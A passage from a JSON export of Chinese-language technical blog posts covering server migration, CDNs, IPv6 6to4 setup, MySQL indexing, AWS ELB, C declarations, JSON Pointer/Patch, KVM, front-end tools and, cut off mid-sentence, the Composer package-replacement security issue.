    "body": "前幾天才把 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的 Droplet 都清掉，然後收到 DigitalOcean 給的 USD$5 後，本來的主機就失聯了，剛好又跑回來用...\r\n\r\n而之前買的 <a href=\"http://wordpress.org/\">WordPress</a> 備份服務 <a href=\"https://vaultpress.com/\">VaultPress</a> 也派上用場，直接去上面拉資料下來，照著步驟做就解決了... O_O\r\n\r\n不過應該還是有很多東西需要調整吧... 之前在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上跑 PHP 的量也都不大，我自己的 blog 反而是最大的？而且是跑在 512MB 的機器上 (雖然設了 1GB 的 swap)，不過應該還是很多需要調整的吧 :o\r\n\r\n不過 DNS 的部份還要再等等，等到都 timeout 後才算正常 :o",
    "title": "把 blog 搬到 DigitalOcean 上..."
  },
  {
    "id": "4225",
    "body": "在 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 官網上丟出來的「<a href=\"http://blog.edgecast.com/post/75438913676/the-positive-performance-impact-of-a-dual-cdn-strategy\">The Positive Performance Impact of a Dual CDN Strategy</a>」這篇 PR 稿引用了 <a href=\"https://www.optimizely.com/\">Optimizely</a> 的「<a href=\"http://blog.optimizely.com/2013/12/11/why-cdn-balancing/\">The Most Misleading Measure of Response Time: Average</a>」。\r\n\r\nEdgeCast 官網上的 PR 稿當然不會提到 <a href=\"http://www.akamai.com/\">Akamai</a> 的名字，但在 Optimizely 上有說明：\r\n\r\n<blockquote>At Optimizely, we had already been using Akamai, one of the world’s fastest and most reliable CDNs, so we decided to try adding another. We tested a balanced CDN architecture, combining Akamai with EdgeCast, another leader in the CDN space.</blockquote>\r\n\r\n可以看到 99 percentile response time 大幅改善：\r\n\r\n<img src=\"//i.imgur.com/Gdcw5CY.png\" alt=\"\" />\r\n\r\n其中改善最高的是北美：\r\n\r\n<img src=\"//i.imgur.com/gvhMNek.png\" alt=\"\" />\r\n\r\n不過看不出來是怎麼測試 CDN Balancing 這個方法啊？依照白皮書的說明：\r\n\r\n<blockquote>Prior to introducing CDN Balancing, Optimizely’s experiment code was stored in a JavaScript file that sits on Akamai’s CDN, one of the fastest and most reliable CDNs in the world. The code in this file is important because it’s responsible for making client-side changes to a page and serving them to visitors according to the targeting and A/B testing criteria set up by the Optimizely customer who created the experiment.</blockquote>\r\n\r\n看起來是對 js code 測試，應該是 <code>cdn.optimizely.com</code> 這個 hostname，而 <code>optimizely.com</code> 的 DNS 放在 <a href=\"http://dyn.com/\">Dyn</a> 上。\r\n\r\n猜測應該是對 EdgeCast 有服務的地區丟到 EdgeCast 上 (美國的部份應該可以切割到「州」)，其他的則丟到 Akamai 上？不過現在怎麼查都是 EdgeCast 啊，從馬來西亞查也是丟到 EdgeCast 的 CDN 上 (然後被導到新加坡)。\r\n\r\n不過，在北美 EdgeCast 會比 Akamai 快這麼多應該是因為 EdgeCast 有兩個平台，一個是 for large files，一個是 for small files，兩個平台最佳化時調整的參數應該不同，針對大檔案的部份會計較 thoughtput，針對小檔案的部份會計較反應時間。Akamai 可能就是輸在這邊...\r\n\r\n也有可能是因為 EdgeCast 的反應時間比較好，然後 Akamai 合約到期就整個切過去了？(噗)\r\n\r\n冒出很多疑問啊...",
    "title": "Akamai 與 EdgeCast 混用的效果..."
  },
  {
    "id": "4228",
    "body": "因為 <a href=\"http://www.hinet.net/\">HiNet</a> 在自家放了 192.88.99.1 的 6to4 gateway，設起來玩看看？\r\n\r\n網路上找了不少方法都不會動 (包括 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 在官方 wiki「<a href=\"https://wiki.ubuntu.com/IPv6\">IPv6</a>」上給的連結「<a href=\"http://www.anyweb.co.nz/tutorial/Linux6to4Host\">IPv6: Linux as 6to4 host</a>」)，最後是用「<a href=\"http://debian6to4.gielen.name/\">IPv6 6to4 config generator for Debian</a>」這邊的方法。我是用 Ubuntu 12.04。\r\n\r\n在 <code>/etc/network/interface</code> 裡加上：\r\n\r\n<pre>auto tun6to4\r\niface tun6to4 inet6 v4tunnel\r\n\taddress 2002:0102:0304::1 \r\n        netmask 16              \r\n\tgateway ::192.88.99.1\r\n\tendpoint any\r\n\tlocal 1.2.3.4</pre>\r\n\r\n其中 1.2.3.4 是 public IP，而 0102:0304 則是 hex 表示法。設完後跑 <code>ifup tun6to4</code> 就會帶起來了。\r\n\r\n可以用 <code>telnet -6 www.google.com 80</code> 看看有沒有通，或是連到 <a href=\"http://www.kame.net/\">The KAME project</a> 看看有沒有會動的烏龜 :p",
    "title": "Debian/Ubuntu 上跑 6to4 的方法..."
  },
  {
    "id": "4231",
    "body": "<a href=\"http://www.cambus.net/storing-ascii-art-in-the-dns/\">Storing ASCII art in the DNS</a>：\r\n\r\n<img src=\"//i.imgur.com/YhH7cfO.png\" alt=\"\" />\r\n\r\n用 <a href=\"https://en.wikipedia.org/wiki/NAPTR_record\">NAPTR record</a> 做的 XDDD",
    "title": "把 ASCII art 放到 DNS 裡..."
  },
  {
    "id": "4237",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> 表格欄位是 CHAR 或 VARCHAR 時，寫搜尋條件要記得使用 string 格式，而非數字。意思是，要避免這種 SQL query：\r\n\r\n<code>SELECT * FROM foo WHERE `column_string` = 123456;</code>\r\n\r\n原因是即使 column_string 加上了 B-tree index，也無法利用這個 index 加速查詢。\r\n\r\n原因是，除了最明確的 <code>'123456'</code> 會符合外，還有很多種 case 符合：\r\n\r\n<pre>mysql&gt; SELECT 123456 = '0123456';\r\n+--------------------+\r\n| 123456 = '0123456' |\r\n+--------------------+\r\n|                  1 |\r\n+--------------------+\r\n1 row in set (0.00 sec)\r\n\r\nmysql&gt; SELECT 123456 = ' 123456';\r\n+--------------------+\r\n| 123456 = ' 123456' |\r\n+--------------------+\r\n|                  1 |\r\n+--------------------+\r\n1 row in set (0.00 sec)</pre>\r\n\r\n這使得 index 無用武之地。\r\n\r\n但如果欄位本身是數字 (INT/BIGINT)，搜尋時用字串反而沒關係：MySQL 會先把字串轉型為數字再比較，所以會用到 index。\r\n\r\n總而言之：\r\n<ul>\r\n\t<li>可以用 INT/BIGINT 時，不要用 CHAR/VARCHAR 儲存。</li>\r\n\t<li>使用 CHAR/VARCHAR 的欄位當搜尋條件時，要用字串形式當作搜尋條件。(除非你很清楚你在做什麼)</li>\r\n</ul>\r\n今天上場當救援投手時解掉的問題...",
    "title": "MySQL 裡搜尋 CHAR/VARCHAR (String) 欄位時要注意的事情"
  },
  {
    "id": "4240",
    "body": "<a href=\"http://aws.amazon.com/elasticloadbalancing/\">AWS Elastic Load Balancing</a> (ELB) 是 <a href=\"http://aws.amazon.com/\">AWS</a> 在雲端上推出的 Load balancer。\r\n\r\n在非雲端的架構上會使用 Layer 4 Switch (像是 <a href=\"https://f5.com/\">F5</a>、<a href=\"http://www.radware.com/Products/Alteon/\">Alteon</a>)，或是使用 open source 的 <a href=\"http://haproxy.1wt.eu/\">HAProxy</a>。\r\n\r\n從實驗猜測 ELB 是這樣做的：\r\n<ul>\r\n\t<li>ELB 是 Amazon 自己開發的「軟體」，而非硬體。可能就是跑在 EC2 上，也可能為了 billing 的需求是跑在另外一個 cluster 上。</li>\r\n\t<li>在每一個有 instance 需要服務的 availability zone 上都會開一台 ELB instance 起來。</li>\r\n\t<li>每一個 ELB instance 會有一個 public IP 對外，在 ELB domain 解出來的 IP 可以查出來。</li>\r\n</ul>\r\n所以 ELB 的文件上會警告「每一個 AZ 的運算能力要盡可能接近」：\r\n\r\n<blockquote>By default, the load balancer node routes traffic to back-end instances within the same Availability Zone.\r\n\r\nTo ensure that your back-end instances are able to handle the request load in each Availability Zone, it is important to have approximately equivalent numbers of instances in each zone.</blockquote>\r\n\r\n這是因為不同 AZ 的平衡是靠 DNS round robin 處理，所以下面的例子就有建議儘量打平：\r\n\r\n<blockquote>For example, if you have ten instances in Availability Zone us-east-1a and two instances in us-east-1b, the traffic will still be equally distributed between the two Availability Zones.\r\n\r\nAs a result, the two instances in us-east-1b will have to serve the same amount of traffic as the ten instances in us-east-1a.\r\n\r\nAs a best practice, we recommend that you keep an equivalent or nearly equivalent number of instances in each of your Availability Zones.\r\n\r\nSo in the example, rather than having ten instances in us-east-1a and two in us-east-1b, you could distribute your instances so that you have six instances in each Availability Zone.</blockquote>\r\n\r\n而量大到一個 ELB instance 撐不住的時候，AWS 就會自動開出第二台：(目前都只放在同一個 zone 上)\r\n\r\n<pre>;; ANSWER SECTION:\r\nlb-guesschocolate-1791292202.ap-northeast-1.elb.amazonaws.com. 60 IN A 54.249.68.121\r\nlb-guesschocolate-1791292202.ap-northeast-1.elb.amazonaws.com. 60 IN A 54.238.240.61</pre>\r\n\r\n以這樣的架構，當量夠大的時候，AWS 應該要有能力生出足夠多的 ELB instance 打散？之後再來觀察看看好了... 還有很多煩惱要處理 ~_~",
    "title": "猜測 AWS ELB 內的架構..."
  },
  {
    "id": "4244",
    "body": "把十年多的 BBS source code porting 到 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上，被迫要用 <a href=\"http://gcc.gnu.org/\">GCC</a> 4.6 而一路找出來的...\r\n\r\n在 BBS 內有這樣的資料結構要處理：\r\n\r\n<pre>typedef struct p {\r\n    struct p *pointer;\r\n} P;\r\n\r\nstatic P p1 = { &amp;p2 };\r\nstatic P p2 = { &amp;p1 };</pre>\r\n\r\n兩個要互指，但在指定 p1 時 p2 還沒有被定義，所以要用 extern 先宣告：\r\n\r\n<pre>typedef struct p {\r\n    struct p *pointer;\r\n} P;\r\n\r\n<strong>extern P p2;</strong>\r\n\r\nstatic P p1 = { &amp;p2 };\r\nstatic P p2 = { &amp;p1 };</pre>\r\n\r\n這個語法在舊版的 GCC 沒問題 (3.4)，但在新版的 GCC 4.6 上不接受這個寫法，會抱怨後面的 p2 實際在宣告是 static，與前面的 extern non-static 不符。\r\n\r\n後來在 <a href=\"http://stackoverflow.com/\">Stack Overflow</a> 上找到「<a href=\"http://stackoverflow.com/questions/7484773/static-extern-vs-extern-static\">static extern vs extern static</a>」這篇說明，要先定義 static 再定義 extern：\r\n\r\n<pre>static P p2;\r\nextern P p2;</pre>\r\n\r\n這樣寫的原因在原文的下方有說明，所以是 C99 定義的關係？",
    "title": "C 語言的 extern 與 static..."
  },
  {
    "id": "4250",
    "body": "今天 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 宣佈新加坡資料中心營運 (SGP1)：「<a href=\"https://www.digitalocean.com/blog_posts/we-re-excited-to-announce-our-singapore-datacenter-sgp1\">We're Excited To Announce Our Singapore Datacenter (SGP1)</a>」。\r\n\r\n要測試 latency 或是要看 routing 的人可以用 DigitalOcean 提供的 <code>speedtest-sgp1.digitalocean.com</code> 測。\r\n\r\n中華電信 <a href=\"http://www.hinet.net/\">HiNet</a> 光世代動態 IP、PPPoE 固定 IP，以及三重的重新機房到 <code>speedtest-sgp1.digitalocean.com</code> 都是 90ms～100ms 左右。\r\n\r\n<a href=\"http://www.tfn.net.tw\">台灣固網</a>內湖機房約 75ms 左右。\r\n\r\n而目前看到數字最好的是<a href=\"http://www.fetnet.net/\">遠傳</a>的機房的 60ms 左右，ISP 直接進香港 <a href=\"http://www.ntt.com/\">NTT</a> 後就轉入新加坡 NTT，最後進 DigitalOcean。\r\n\r\n在 comment 裡也有提到目前的 peering 還不完整，最近會一直調整：\r\n\r\n<blockquote>In regards to the latency that people may be experiencing in Singapore: We are sorry to hear that you are having latency issues at this time. Some of our peering is delayed and we will be improving generally connectivity around Asia in the coming weeks.</blockquote>\r\n\r\n以後要測試就拿這個點了！XD",
    "title": "DigitalOcean 建立新加坡機房..."
  },
  {
    "id": "4254",
    "body": "最近幾天 NTP 放大攻擊還蠻嚴重的，像是 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 這兩天就被 400Gbps 貓：「<a href=\"http://www.computerweekly.com/news/2240214216/NTP-based-DDoS-attacks-a-concern-says-Cloudflare\">NTP-based DDoS attacks a concern, says Cloudflare</a>」。\r\n\r\nCloudFlare 有寫過一篇 NTP 放大攻擊的說明：「<a href=\"http://blog.cloudflare.com/understanding-and-mitigating-ntp-based-ddos-attacks\">Understanding and mitigating NTP-based DDoS attacks</a>」。\r\n\r\n另外在 irc 上看到系上學弟說可以查詢有哪些 NTP server 是會被當作 NTP 放大攻擊的工具：「<a href=\"http://openntpproject.org/\">OpenNTPProject.org - NTP Scanning Project</a>」，把 IP range 丟進去就可以看到 (一次可以查到 /22)，可以當作一份外部資訊來幫助內部優先處理。",
    "title": "最近的 NTP attack 的檢測..."
  },
  {
    "id": "4259",
    "body": "在「<a href=\"http://williamdurand.fr/2014/02/14/please-do-not-patch-like-an-idiot/\">Please. Don't Patch Like An Idiot.</a>」這篇文章裡看到「<a href=\"https://tools.ietf.org/html/rfc6901\">JavaScript Object Notation (JSON) Pointer</a>」(RFC 6901)。\r\n\r\n類似 XML 的 XPath，JSON Pointer 可以查詢 JSON object。\r\n\r\n比較特別是拿 <code>~</code> 這個符號當特殊字元，原本的 <code>~</code> 變成 <code>~0</code>，而 <code>/</code> 變成 <code>~1</code>，所以這個 JSON object：(取自 RFC 內的範例)\r\n\r\n<pre>{\r\n      \"foo\": [\"bar\", \"baz\"],\r\n      \"\": 0,\r\n      \"a/b\": 1,\r\n      \"c%d\": 2,\r\n      \"e^f\": 3,\r\n      \"g|h\": 4,\r\n      \"i\\\\j\": 5,\r\n      \"k\\\"l\": 6,\r\n      \" \": 7,\r\n      \"m~n\": 8\r\n   }</pre>\r\n\r\n使用這些 JSON pointer 會得到後面這些結果：\r\n\r\n<pre>    \"\"           // the whole document\r\n    \"/foo\"       [\"bar\", \"baz\"]\r\n    \"/foo/0\"     \"bar\"\r\n    \"/\"          0\r\n    \"/a~1b\"      1\r\n    \"/c%d\"       2\r\n    \"/e^f\"       3\r\n    \"/g|h\"       4\r\n    \"/i\\\\j\"      5\r\n    \"/k\\\"l\"      6\r\n    \"/ \"         7\r\n    \"/m~0n\"      8</pre>\r\n\r\n規格還蠻簡單的...",
    "title": "在 JSON 裡的 XPath..."
  },
  {
    "id": "4261",
    "body": "與上篇一樣，都是在「<a href=\"http://williamdurand.fr/2014/02/14/please-do-not-patch-like-an-idiot/\">Please. Don't Patch Like An Idiot.</a>」這篇裡看到的：「<a href=\"https://tools.ietf.org/html/rfc6902\">JavaScript Object Notation (JSON) Patch</a>」(RFC 6902)。\r\n\r\n配合 <a href=\"https://tools.ietf.org/html/rfc6901\">JSON Pointer</a> (RFC 6901) 的語法，下面的操作很清楚表示了想要做什麼：\r\n\r\n<pre>[\r\n    { \"op\": \"test\", \"path\": \"/a/b/c\", \"value\": \"foo\" },\r\n    { \"op\": \"remove\", \"path\": \"/a/b/c\" },\r\n    { \"op\": \"add\", \"path\": \"/a/b/c\", \"value\": [ \"foo\", \"bar\" ] },\r\n    { \"op\": \"replace\", \"path\": \"/a/b/c\", \"value\": 42 },\r\n    { \"op\": \"move\", \"from\": \"/a/b/c\", \"path\": \"/a/b/d\" },\r\n    { \"op\": \"copy\", \"from\": \"/a/b/d\", \"path\": \"/a/b/e\" }\r\n]</pre>\r\n\r\n再加上 HTTP header 裡的 <code>If-Match</code> 可以用來處理起始版本，<code>test</code> 也可以阻擋某些異常狀況，基本的都有了？接下來應該找 Canonical JSON 的方案，這樣可以直接拿 hash 的值當版本？",
    "title": "JSON Patch..."
  },
  {
    "id": "4264",
    "body": "本來是用 <a href=\"http://www.amd.com/\">AMD</a> 的 <a href=\"http://products.amd.com/pages/DesktopCPUDetail.aspx?id=557\">X4 905e</a>，拿來跑 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 當跳板機，偶而看看影片還算夠用，不過 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的速度已經影響到工作了，星期六晚上家庭聚餐結束後就去八德路上<a href=\"http://www.coolpc.com.tw/\">原價屋</a>拿了一顆新的 CPU 與主機板...\r\n\r\n換上 <a href=\"http://www.intel.com/\">Intel</a> 的 <a href=\"http://ark.intel.com/products/75054\">Xeon E3-1230 v3</a> 後 Ubuntu 也不需要重裝，Google Chrome 的速度也快多了...\r\n\r\n<img src=\"//i.imgur.com/kLK17pE.png\" alt=\"\" />\r\n<small>取自「<a href=\"http://www.cpubenchmark.net/cpu.php?cpu=AMD+Phenom+II+X4+905e\">PassMark - AMD Phenom II X4 905e - Price performance comparison</a>」</small>\r\n\r\n<img src=\"//i.imgur.com/FAQ4ECw.png\" alt=\"\" />\r\n<small>取自「<a href=\"http://www.cpubenchmark.net/cpu.php?cpu=Intel+Xeon+E3-1230+v3+%40+3.30GHz\">PassMark - Intel Xeon E3-1230 v3 @ 3.30GHz - Price performance comparison</a>」</small>\r\n\r\n沒想到是因為瀏覽器而換 CPU...",
    "title": "因為 Google Chrome 太慢而換 CPU (以及主機板)"
  },
  {
    "id": "4266",
    "body": "發現以前沒有提到過...？\r\n\r\n<a href=\"http://developer.wordpress.com/\">WordPress.com Developer Resources</a> 寫的這篇「<a href=\"http://developer.wordpress.com/2014/02/14/an-efficient-alternative-to-paging-with-sql-offsets/\">An efficient alternative to paging with SQL OFFSETs</a>」提到了用 OFFSET 實做 Pager 的效率問題。\r\n\r\n<strong>因為 RDBMS 是人寫的，所以人想不到的方法，程式也做不到</strong>，像是這樣的 SQL query 效率不會好：\r\n\r\n<pre>SELECT * FROM my_table ORDER BY pk LIMIT 8000000, 100;</pre>\r\n\r\n如果這是一般以 B+tree 儲存的 RDBMS (或是類似的資料結構)，會先把 <code>pk</code> 拿出來，從最小的開始計算，掃過八百萬次後再去抓一百筆 <code>pk</code> 的值，最後再回到 <code>my_table</code> 內把所有資料拉出來。\r\n\r\n這個方法當 offset 小的時候不會有感覺，但大了以後就會爆炸。就算 primary key 都在記憶體內，仍然是狂操 CPU L2/L3 以及記憶體的存取速度。\r\n\r\n目前常見的分頁作法是在 url 上妥協，只提供「下一頁」或「下 n 頁」的功能。如此一來，url 變成：\r\n\r\n<pre>https://www.example.com/blog?page=10&amp;started_at=12345678\r\nhttps://www.example.com/blog?page=11&amp;started_at=12345690\r\nhttps://www.example.com/blog?page=12&amp;started_at=12345710</pre>\r\n\r\n<code>started_at</code> 變成 unix timestamp，而資料庫對時間欄位 index。如此一來，資料庫在查詢的時候就可以先 B+tree 找到 <code>started_at</code> 的節點 (或是小於他最近的節點)，然後連續抽出一百筆。\r\n\r\n另外一種則是在產品面上「妥協」，也就是方法保持不變，但限制「一個 thread 最多只能回 1000 篇」，這在 <a href=\"http://www.2ch.net/\">2ch</a> 或是論壇上很常看到。",
    "title": "避免用 SQL 的 OFFSET 實做 Pager"
  },
  {
    "id": "4269",
    "body": "維基百科對 UPSERT 的說明：(取自「<a href=\"https://en.wikipedia.org/wiki/Merge_(SQL)\">Merge (SQL)</a>」條目)\r\n\r\n<blockquote>A relational database management system uses SQL MERGE (also called upsert) statements to INSERT new records or UPDATE existing records depending on whether or not a condition matches.</blockquote>\r\n\r\n在 <a href=\"http://dev.mysql.com/\">MySQL</a> 裡的兩種語法其實就是在實做這個需求：\r\n<ul>\r\n\t<li><code>REPLACE INTO ...</code></li>\r\n\t<li><code>INSERT INTO ... ON DUPLICATE KEY UPDATE ...</code></li>\r\n</ul>\r\n而前者其實是後者的一個特例 (當 INSERT 發現有 dupe key 時把現有的 record 改成與 INSERT 時相同的條件)。\r\n\r\n而計數器是後者常見的 case 之一：當 record 不存在的時候塞一筆進去，並且將 counter 設為 1；當 record 存在的時候對 counter 加一更新。像是這樣的 SQL query：\r\n\r\n<code>INSERT INTO my_table SET id = ?, num = 1 ON DUPLICATE KEY UPDATE num = num + 1;</code>\r\n\r\n由於這是常見的需求，使得這個語法是目前少數 MySQL 比 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 好用的地方。\r\n\r\n在「<a href=\"http://lucumr.pocoo.org/2014/2/16/a-case-for-upserts/\">A Case for Upserts</a>」這篇就看到抱怨 PostgreSQL 不實做這個功能...\r\n\r\n不過我覺得作者寫得有點誇張，<code>INSERT INTO ... ON DUPLICATE KEY UPDATE ...</code> 應該是可以模擬出來的功能：當 INSERT 失敗後再跑 UPDATE。而 <code>REPLACE INTO ...</code> 是特例，也就當然可以模擬出來。",
    "title": "UPSERT"
  },
  {
    "id": "4273",
    "body": "過年後在家裡弄了一台<a href=\"http://www.gigabyte.com/\">技嘉</a>的準系統跑 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04，結果手上突然沒機器可以跑 <a href=\"http://www.freshports.org/ports-mgmt/porttools/\">porttools</a> 測試，而這台機器平常也沒接鍵盤，就想直接跑 command line 的 <a href=\"http://www.linux-kvm.org/\">KVM</a> 裝 <a href=\"http://www.freebsd.org/\">FreeBSD</a>。其實知道方式後就很簡單，只是一開始沒弄懂花了不少時間...\r\n\r\n首先是安裝 KVM，這部份用 <code>apt-get install kvm</code> 就可以拉下來裝好了。\r\n\r\n真正要做的第一部是先用 qemu-img 建立 40GB 的 disk image (qcow2)：\r\n\r\n<code>qemu-img create -f qcow2 ~/vm/image.qcow2 40G</code>\r\n\r\n然後直接用 iso image 安裝 (抓 iso image 的事情也跳過去請各位自己來)，設為 4 CPU (<code>-smp 4</code>)、1024MB RAM (<code>-m 1024</code>)，並且透過 serial console 安裝 (<code>-nographic -curses</code>)，開機先從 cdrom 上開 (<code>-boot d</code>)：\r\n\r\n<code>kvm -smp 4 -drive file=/abs/path/vm/image.qcow2,if=virtio -cdrom /abs/path/vm/FreeBSD-10.0-RELEASE-amd64-bootonly.iso -m 1024 -nographic -curses -net nic,model=e1000 -net tap -boot d</code>\r\n\r\n其中網路的部份卡了最久，後來發現預設值的 <code>-net nic -net user</code> 意思是：\r\n<ul>\r\n\t<li><code>-net nic</code> 表示在 Guest OS 內建立一張網卡接到 KVM 的 vlan0。</li>\r\n\t<li><code>-net user</code> 表示在 KVM 的 vlan0 上建使用 userland mode NAT。</li>\r\n</ul>\r\n由於 userland mode NAT 很受限 (只有 TCP 與 UDP 會通)，所以我用 <code>-net nic -net tap</code> 表示直接 bridge 到 virbr0 上再 NAT 出去。而我希望對 Guest OS 使用 e1000，所以最後就變成 <code>-net nic,e1000 -net tap</code>。\r\n\r\n接下來安裝 FreeBSD 時就可以用 DHCP mode 抓到 IP 了，由於我希望可以從 Host 直接連進去，所以我是設成 static IP。\r\n\r\n裝完後就不需要掛 cdrom 與優先從 cdrom 開始開：\r\n\r\n<code>kvm -smp 4 -drive file=/abs/path/vm/image.qcow2,if=virtio -m 1024 -nographic -curses -net nic,model=e1000 -net tap</code>\r\n\r\n先前用 <code>-hda /abs/path/vm/image.qcow2</code> 掛上去，結果 i/o 很慢，被 <a href=\"https://blog.delphij.net/\">delphij</a> 提醒後改跑 virtio，速度就正常多了。不過這是因為 FreeBSD 10 就內建支援 virtio 了，如果是使用 FreeBSD 9 的需要另外再透過 ports 裝進去。\r\n\r\n記錄下來給需要的人玩看看，下次也許應該玩玩看 VNC display？",
    "title": "Ubuntu 12.04 上用 KVM (CLI) 裝 FreeBSD"
  },
  {
    "id": "4277",
    "body": "靠的是「<a href=\"http://justhackme.wordpress.com/2013/03/10/apples-http-live-streaming-in-flash/\">Apple’s HTTP Live Streaming (HLS) in Flash !</a>」這篇「2014/02/12 的 comment」解的 (不是原文內的方法)。\r\n\r\n專案在 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"http://mangui.github.io/HLSprovider/\">HLSProvider is a Flash/AS3 plugin that plays back HLS streams</a>」。\r\n\r\n使用方式與範例可以在「<a href=\"https://github.com/mangui/HLSprovider/tree/master/test/flowplayer\">HLSprovider/test/flowplayer at master · mangui/HLSprovider</a>」這邊翻到，直接看 <code>index.html</code>，並且把 swf 檔弄出來就可以動了。\r\n\r\n不過實際測試發現 buffer 的部份好像處理的不是很好... 但至少有東西可以用了 :o",
    "title": "在 Flash 上播 HLS..."
  },
  {
    "id": "4279",
    "body": "<a href=\"http://aws.amazon.com/elasticloadbalancing/\">AWS ELB</a> 加強對 SSL 安全性的功能：「<a href=\"http://aws.typepad.com/aws/2014/02/elastic-load-balancing-perfect-forward-secrecy-and-other-security-enhancements.html\">Elastic Load Balancing – Perfect Forward Secrecy and Other Security Enhancements</a>」。\r\n\r\n<img src=\"//i.imgur.com/iUuo3Sh.png\" alt=\"\" />\r\n\r\n第一個是支援 PFS (<a href=\"https://en.wikipedia.org/wiki/Forward_secrecy\">Perfect Forward Secrecy</a>)，愈大多數的實做相同，是使用 <a href=\"https://en.wikipedia.org/wiki/Elliptic_curve_Diffie%E2%80%93Hellman\">ECDH</a>。\r\n\r\n第二個是 Server Order Preference，由 server 這邊決定最終的 cipher。\r\n\r\n最重要的是第三個，也就是「懶人包」。推出新的 security policy <code>ELBSecurityPolicy-2014-01</code>，把上面兩個都設進去了。\r\n\r\n這次的升級是對安全性的提昇...",
    "title": "AWS ELB 加強安全性..."
  },
  {
    "id": "4281",
    "body": "<a href=\"http://www.browsersync.io/\">BrowserSync</a> 是用 <a href=\"http://nodejs.org/\">node.js</a> 寫的工具，可以同時測試一堆 device，修改後不用按 reload，印象中已經有套件可以做類似的事情？\r\n\r\n一般用 <a href=\"https://www.npmjs.org/\">npm</a> 裝就可以了：\r\n\r\n<pre>npm install browser-sync</pre>\r\n\r\n最簡單的方法是直接執行 <code>browser-sync</code>，執行後會出現像這樣的訊息：\r\n\r\n<pre>&lt;script src='//192.168.1.1:3000/socket.io/socket.io.js'&gt;&lt;/script&gt;\r\n&lt;script&gt;var ___socket___ = io.connect('http://192.168.1.1:3000');&lt;/script&gt;\r\n&lt;script src='//192.168.1.1:3001/client/browser-sync-client.0.6.0.js'&gt;&lt;/script&gt;</pre>\r\n\r\n把這段程式碼貼到 body 的最後面就可以了，當 BrowerSync 偵測到檔案有更新時會透過 server push 機制重刷頁面。\r\n\r\n另外，也可以產生 bs-config.js 修改設定：\r\n\r\n<pre>browser-sync --init</pre>\r\n\r\n更完整的說明可以從「<a href=\"https://github.com/shakyShane/browser-sync/wiki/options\">Options</a>」這頁找到。",
    "title": "用 BrowserSync 測試多個平台..."
  },
  {
    "id": "4283",
    "body": "Domain Sharding 是針對以往瀏覽器常見的「加速技巧」(workaround)，目的是突破瀏覽器對單一 domain 的最大連線速限制。像是 IE{6,7} 在 HTTP/1.1 上的限制是 2。\r\n\r\n<a href=\"http://www.stevesouders.com/\">Steve Souders</a> 在 2008 年整理的「<a href=\"http://www.stevesouders.com/blog/2008/03/20/roundup-on-parallel-connections/\">Roundup on Parallel Connections</a>」就有列出當時各瀏覽器的限制。而在 <a href=\"http://www.browserscope.org/\">Browserscope</a> 的 <a href=\"http://www.browserscope.org/?category=network&amp;v=1\">Network</a> 可以看到更多新的數字。\r\n\r\n而隨著環境一直在改變，桌機限制的連線數也逐漸調高，以及 SPDY 的發展，再加上行動平台的比重愈來愈高，本來的 Domain Sharding 技巧需要重新審視。\r\n\r\n在 <a href=\"http://www.etsy.com/\">Etsy</a> 的「<a href=\"http://codeascraft.com/2014/02/19/reducing-domain-sharding/\">Reducing Domain Sharding</a>」這篇文章中提到他們決定減少 Domain Sharding 的數量 (由四個變成兩個)，而改善了反應時間：\r\n<ul>\r\n\t<li>在圖片較多的頁面上約減少 50ms～80ms，在一般頁面則是減少 30ms～50ms。</li>\r\n\t<li>在行動平台上減少 500ms。</li>\r\n</ul>\r\n這兩個改善使得每次造訪的點閱率多了 0.27 page。\r\n\r\n尤其是行動平台上對 Domain Sharding 的敏感程度，讓現在設計網站的人要考慮的更多了...",
    "title": "Domain Sharding 的調整..."
  },
  {
    "id": "4285",
    "body": "<a href=\"http://browserify.org/\">browserify</a> 可以將用到的程式碼都包成一包，拿到瀏覽器上使用。\r\n\r\n舉個例子離說，先寫了一個 <code>a.js</code>：\r\n\r\n<pre>(function(){\r\n    var el = document.getElementById('output');\r\n\r\n    var j2x = require('json2xml');\r\n    el.innerText = j2x({a: 1});\r\n})();</pre>\r\n\r\n其中可以看到直接拿 <code>require()</code> 把 <a href=\"https://www.npmjs.org/package/json2xml\">json2xml</a> 抓進來。但在瀏覽器裡要自己處理有哪些 dependency 很麻煩，就用 browserify 拉出來：\r\n\r\n<pre>browserify a.js -o a.bundle.src.js</pre>\r\n\r\n生出來的 <code>a.bundle.src.js</code> 就可以拿到瀏覽器裡使用了！如果需要的話，還可以用 JS Compressor 再壓起來再拿到瀏覽器裡使用。\r\n\r\n最後補充一下，browserify 的安裝方式很簡單：\r\n\r\n<pre>npm install browserify</pre>\r\n\r\n就是這樣而已。",
    "title": "用 browserify 將 npm 的函式庫包到瀏覽器上用..."
  },
  {
    "id": "4289",
    "body": "<a href=\"https://getcomposer.org/\">Composer</a> 是 <a href=\"http://www.php.net/\">PHP</a> 上新一代的套件管理軟體。\r\n\r\nComposer 與之前各種方案不同的地方在於，後面掛了 <a href=\"https://packagist.org/\">Packagist</a> 這個 PHP package archivist，讓使用者很方便的取得套件 (以及更新)。\r\n\r\n其中有一個功能是 <a href=\"https://getcomposer.org/doc/04-schema.md#replace\">replace</a>，表示我所開發的這個套件「宣稱」可以取代其他套件 (通常是 API compatible)。\r\n\r\n看到這個功能的時候，以為是要讓 Packagist 能夠串起連結。畢竟偶而會發生「這個套件最新版是 2008 年了，到底有沒有後續維護啊」的情況。如果 Packagist 官方網站可以串起連結，可以節省開發者時間，而且也可以利用 Packagist 上的熱門度來決定要用哪一個後繼者。\r\n\r\n但實際上與預期的不同，Composer 的預設值是會「自動」尋找更新並且真的使用，也就是前幾天被丟出來的議題：「<a href=\"http://evertpot.com/composer-is-wide-open/\">Composer is wide open with a massive security vulnerability</a>」。\r\n\r\n攻擊者只要在 Packagist 上面上傳一堆含有惡意程式碼的套件 (並且利用 replace 宣稱可以取代 <a href=\"http://framework.zend.com/\">ZF2</a> 或是 